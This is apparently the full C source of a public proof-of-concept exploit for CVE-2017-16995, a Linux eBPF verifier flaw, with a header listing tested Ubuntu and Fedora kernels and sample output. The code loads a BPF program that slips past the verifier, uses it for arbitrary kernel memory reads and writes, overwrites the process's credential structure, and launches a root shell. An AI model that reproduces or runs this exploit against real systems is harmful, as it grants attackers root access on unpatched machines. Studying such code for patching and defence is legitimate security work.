498 lines
13 KiB
C
498 lines
13 KiB
C
/*
|
|
Credit @bleidl, this is a slight modification to his original POC
|
|
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
|
|
|
|
For details on how the exploit works, please visit
|
|
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
|
|
|
|
Tested on Ubuntu 16.04 with the following Kernels
|
|
4.4.0-31-generic
|
|
4.4.0-62-generic
|
|
4.4.0-81-generic
|
|
4.4.0-116-generic
|
|
4.8.0-58-generic
|
|
4.10.0.42-generic
|
|
4.13.0-21-generic
|
|
|
|
Tested on Fedora 27
|
|
4.13.9-300
|
|
gcc cve-2017-16995.c -o cve-2017-16995
|
|
internet@client:~/cve-2017-16995$ ./cve-2017-16995
|
|
[.]
|
|
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
|
|
[.]
|
|
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
|
|
[.]
|
|
[*] creating bpf map
|
|
[*] sneaking evil bpf past the verifier
|
|
[*] creating socketpair()
|
|
[*] attaching bpf backdoor to socket
|
|
[*] skbuff => ffff880038c3f500
|
|
[*] Leaking sock struct from ffff88003af5e180
|
|
[*] Sock->sk_rcvtimeo at offset 472
|
|
[*] Cred structure at ffff880038704600
|
|
[*] UID from cred structure: 1000, matches the current: 1000
|
|
[*] hammering cred structure at ffff880038704600
|
|
[*] credentials patched, launching shell...
|
|
#id
|
|
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
|
|
|
|
*/
|
|
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <stdarg.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <linux/bpf.h>
|
|
#include <linux/unistd.h>
|
|
#include <sys/mman.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/un.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/personality.h>
|
|
|
|
char buffer[64];
|
|
int sockets[2];
|
|
int mapfd, progfd;
|
|
int doredact = 0;
|
|
|
|
#define LOG_BUF_SIZE 65536
|
|
#define PHYS_OFFSET 0xffff880000000000
|
|
char bpf_log_buf[LOG_BUF_SIZE];
|
|
|
|
static __u64 ptr_to_u64(void *ptr)
|
|
{
|
|
return (__u64) (unsigned long) ptr;
|
|
}
|
|
|
|
int bpf_prog_load(enum bpf_prog_type prog_type,
|
|
const struct bpf_insn *insns, int prog_len,
|
|
const char *license, int kern_version)
|
|
{
|
|
union bpf_attr attr = {
|
|
.prog_type = prog_type,
|
|
.insns = ptr_to_u64((void *) insns),
|
|
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
|
.license = ptr_to_u64((void *) license),
|
|
.log_buf = ptr_to_u64(bpf_log_buf),
|
|
.log_size = LOG_BUF_SIZE,
|
|
.log_level = 1,
|
|
};
|
|
|
|
attr.kern_version = kern_version;
|
|
|
|
bpf_log_buf[0] = 0;
|
|
|
|
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
|
}
|
|
|
|
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
|
int max_entries, int map_flags)
|
|
{
|
|
union bpf_attr attr = {
|
|
.map_type = map_type,
|
|
.key_size = key_size,
|
|
.value_size = value_size,
|
|
.max_entries = max_entries
|
|
};
|
|
|
|
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
|
}
|
|
|
|
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
|
|
{
|
|
union bpf_attr attr = {
|
|
.map_fd = fd,
|
|
.key = ptr_to_u64(key),
|
|
.value = ptr_to_u64(value),
|
|
.flags = flags,
|
|
};
|
|
|
|
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
|
}
|
|
|
|
int bpf_lookup_elem(int fd, void *key, void *value)
|
|
{
|
|
union bpf_attr attr = {
|
|
.map_fd = fd,
|
|
.key = ptr_to_u64(key),
|
|
.value = ptr_to_u64(value),
|
|
};
|
|
|
|
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
|
}
|
|
|
|
#define BPF_ALU64_IMM(OP, DST, IMM) \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
|
|
.dst_reg = DST, \
|
|
.src_reg = 0, \
|
|
.off = 0, \
|
|
.imm = IMM })
|
|
|
|
#define BPF_MOV64_REG(DST, SRC) \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
|
|
.dst_reg = DST, \
|
|
.src_reg = SRC, \
|
|
.off = 0, \
|
|
.imm = 0 })
|
|
|
|
#define BPF_MOV32_REG(DST, SRC) \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_ALU | BPF_MOV | BPF_X, \
|
|
.dst_reg = DST, \
|
|
.src_reg = SRC, \
|
|
.off = 0, \
|
|
.imm = 0 })
|
|
|
|
#define BPF_MOV64_IMM(DST, IMM) \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
|
|
.dst_reg = DST, \
|
|
.src_reg = 0, \
|
|
.off = 0, \
|
|
.imm = IMM })
|
|
|
|
#define BPF_MOV32_IMM(DST, IMM) \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_ALU | BPF_MOV | BPF_K, \
|
|
.dst_reg = DST, \
|
|
.src_reg = 0, \
|
|
.off = 0, \
|
|
.imm = IMM })
|
|
|
|
#define BPF_LD_IMM64(DST, IMM) \
|
|
BPF_LD_IMM64_RAW(DST, 0, IMM)
|
|
|
|
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_LD | BPF_DW | BPF_IMM, \
|
|
.dst_reg = DST, \
|
|
.src_reg = SRC, \
|
|
.off = 0, \
|
|
.imm = (__u32) (IMM) }), \
|
|
((struct bpf_insn) { \
|
|
.code = 0, \
|
|
.dst_reg = 0, \
|
|
.src_reg = 0, \
|
|
.off = 0, \
|
|
.imm = ((__u64) (IMM)) >> 32 })
|
|
|
|
#ifndef BPF_PSEUDO_MAP_FD
|
|
# define BPF_PSEUDO_MAP_FD 1
|
|
#endif
|
|
|
|
#define BPF_LD_MAP_FD(DST, MAP_FD) \
|
|
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
|
|
|
|
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
|
|
.dst_reg = DST, \
|
|
.src_reg = SRC, \
|
|
.off = OFF, \
|
|
.imm = 0 })
|
|
|
|
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
|
|
.dst_reg = DST, \
|
|
.src_reg = SRC, \
|
|
.off = OFF, \
|
|
.imm = 0 })
|
|
|
|
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
|
|
.dst_reg = DST, \
|
|
.src_reg = 0, \
|
|
.off = OFF, \
|
|
.imm = IMM })
|
|
|
|
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
|
|
.dst_reg = DST, \
|
|
.src_reg = 0, \
|
|
.off = OFF, \
|
|
.imm = IMM })
|
|
|
|
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
|
|
((struct bpf_insn) { \
|
|
.code = CODE, \
|
|
.dst_reg = DST, \
|
|
.src_reg = SRC, \
|
|
.off = OFF, \
|
|
.imm = IMM })
|
|
|
|
#define BPF_EXIT_INSN() \
|
|
((struct bpf_insn) { \
|
|
.code = BPF_JMP | BPF_EXIT, \
|
|
.dst_reg = 0, \
|
|
.src_reg = 0, \
|
|
.off = 0, \
|
|
.imm = 0 })
|
|
|
|
#define BPF_DISABLE_VERIFIER() \
|
|
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
|
|
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
|
|
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
|
|
BPF_EXIT_INSN() /* } */ \
|
|
|
|
#define BPF_MAP_GET(idx, dst) \
|
|
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
|
|
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
|
|
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
|
|
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
|
|
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
|
|
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
|
|
BPF_EXIT_INSN(), /* exit(0); */ \
|
|
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
|
|
|
|
static int load_prog() {
|
|
struct bpf_insn prog[] = {
|
|
BPF_DISABLE_VERIFIER(),
|
|
|
|
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
|
|
|
|
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
|
|
|
|
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
|
|
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
|
|
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
|
|
|
|
/* store map slot address in r2 */
|
|
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
|
|
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
|
|
|
|
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
|
|
/* get fp */
|
|
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
|
|
BPF_EXIT_INSN(),
|
|
|
|
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
|
|
/* get skbuff */
|
|
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
|
|
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
|
BPF_EXIT_INSN(),
|
|
|
|
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
|
|
/* read */
|
|
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
|
|
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
|
BPF_EXIT_INSN(),
|
|
/* else */
|
|
/* write */
|
|
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
|
|
BPF_EXIT_INSN(),
|
|
|
|
};
|
|
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
|
|
}
|
|
|
|
void info(const char *fmt, ...) {
|
|
va_list args;
|
|
va_start(args, fmt);
|
|
fprintf(stdout, "[.] ");
|
|
vfprintf(stdout, fmt, args);
|
|
va_end(args);
|
|
}
|
|
|
|
void msg(const char *fmt, ...) {
|
|
va_list args;
|
|
va_start(args, fmt);
|
|
fprintf(stdout, "[*] ");
|
|
vfprintf(stdout, fmt, args);
|
|
va_end(args);
|
|
fflush(stdout);
|
|
}
|
|
|
|
void redact(const char *fmt, ...) {
|
|
va_list args;
|
|
va_start(args, fmt);
|
|
if(doredact) {
|
|
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
|
|
va_end(args);
|
|
return;
|
|
}
|
|
fprintf(stdout, "[*] ");
|
|
vfprintf(stdout, fmt, args);
|
|
va_end(args);
|
|
}
|
|
|
|
void fail(const char *fmt, ...) {
|
|
va_list args;
|
|
va_start(args, fmt);
|
|
fprintf(stdout, "[!] ");
|
|
vfprintf(stdout, fmt, args);
|
|
va_end(args);
|
|
exit(1);
|
|
}
|
|
|
|
void
|
|
initialize() {
|
|
info("\n");
|
|
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
|
|
info("\n");
|
|
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
|
|
info("\n");
|
|
|
|
redact("creating bpf map\n");
|
|
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
|
|
if (mapfd < 0) {
|
|
fail("failed to create bpf map: '%s'\n", strerror(errno));
|
|
}
|
|
|
|
redact("sneaking evil bpf past the verifier\n");
|
|
progfd = load_prog();
|
|
if (progfd < 0) {
|
|
if (errno == EACCES) {
|
|
msg("log:\n%s", bpf_log_buf);
|
|
}
|
|
fail("failed to load prog '%s'\n", strerror(errno));
|
|
}
|
|
|
|
redact("creating socketpair()\n");
|
|
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
|
|
fail("failed to create socket pair '%s'\n", strerror(errno));
|
|
}
|
|
|
|
redact("attaching bpf backdoor to socket\n");
|
|
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
|
|
fail("setsockopt '%s'\n", strerror(errno));
|
|
}
|
|
}
|
|
|
|
static void writemsg() {
|
|
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
|
if (n < 0) {
|
|
perror("write");
|
|
return;
|
|
}
|
|
if (n != sizeof(buffer)) {
|
|
fprintf(stderr, "short write: %zd\n", n);
|
|
}
|
|
}
|
|
|
|
static void
|
|
update_elem(int key, unsigned long value) {
|
|
if (bpf_update_elem(mapfd, &key, &value, 0)) {
|
|
fail("bpf_update_elem failed '%s'\n", strerror(errno));
|
|
}
|
|
}
|
|
|
|
static unsigned long
|
|
get_value(int key) {
|
|
unsigned long value;
|
|
if (bpf_lookup_elem(mapfd, &key, &value)) {
|
|
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
|
|
}
|
|
return value;
|
|
}
|
|
|
|
static unsigned long
|
|
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
|
|
update_elem(0, op);
|
|
update_elem(1, addr);
|
|
update_elem(2, value);
|
|
writemsg();
|
|
return get_value(2);
|
|
}
|
|
|
|
unsigned long
|
|
get_skbuff() {
|
|
return sendcmd(1, 0, 0);
|
|
}
|
|
|
|
unsigned long
|
|
get_fp() {
|
|
return sendcmd(0, 0, 0);
|
|
}
|
|
|
|
unsigned long
|
|
read64(unsigned long addr) {
|
|
return sendcmd(2, addr, 0);
|
|
}
|
|
|
|
void
|
|
write64(unsigned long addr, unsigned long val) {
|
|
(void)sendcmd(3, addr, val);
|
|
}
|
|
|
|
static unsigned long find_cred() {
|
|
uid_t uid = getuid();
|
|
unsigned long skbuff = get_skbuff();
|
|
/*
|
|
* struct sk_buff {
|
|
* [...24 byte offset...]
|
|
* struct sock *sk;
|
|
* };
|
|
*
|
|
*/
|
|
|
|
unsigned long sock_addr = read64(skbuff + 24);
|
|
msg("skbuff => %llx\n", skbuff);
|
|
msg("Leaking sock struct from %llx\n", sock_addr);
|
|
if(sock_addr < PHYS_OFFSET){
|
|
fail("Failed to find Sock address from sk_buff.\n");
|
|
}
|
|
|
|
/*
|
|
* scan forward for expected sk_rcvtimeo value.
|
|
*
|
|
* struct sock {
|
|
* [...]
|
|
* const struct cred *sk_peer_cred;
|
|
* long sk_rcvtimeo;
|
|
* };
|
|
*/
|
|
for (int i = 0; i < 100; i++, sock_addr += 8) {
|
|
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
|
|
unsigned long cred_struct = read64(sock_addr - 8);
|
|
if(cred_struct < PHYS_OFFSET) {
|
|
continue;
|
|
}
|
|
|
|
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
|
|
|
|
if(test_uid != uid) {
|
|
continue;
|
|
}
|
|
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
|
|
msg("Cred structure at %llx\n", cred_struct);
|
|
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
|
|
|
|
return cred_struct;
|
|
}
|
|
}
|
|
fail("failed to find sk_rcvtimeo.\n");
|
|
}
|
|
|
|
static void
|
|
hammer_cred(unsigned long addr) {
|
|
msg("hammering cred structure at %llx\n", addr);
|
|
#define w64(w) { write64(addr, (w)); addr += 8; }
|
|
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
|
|
w64(val);
|
|
w64(0); w64(0); w64(0); w64(0);
|
|
w64(0xFFFFFFFFFFFFFFFF);
|
|
w64(0xFFFFFFFFFFFFFFFF);
|
|
w64(0xFFFFFFFFFFFFFFFF);
|
|
#undef w64
|
|
}
|
|
|
|
int
|
|
main(int argc, char **argv) {
|
|
initialize();
|
|
hammer_cred(find_cred());
|
|
msg("credentials patched, launching shell...\n");
|
|
if(execl("/bin/sh", "/bin/sh", NULL)) {
|
|
fail("exec %s\n", strerror(errno));
|
|
}
|
|
}
|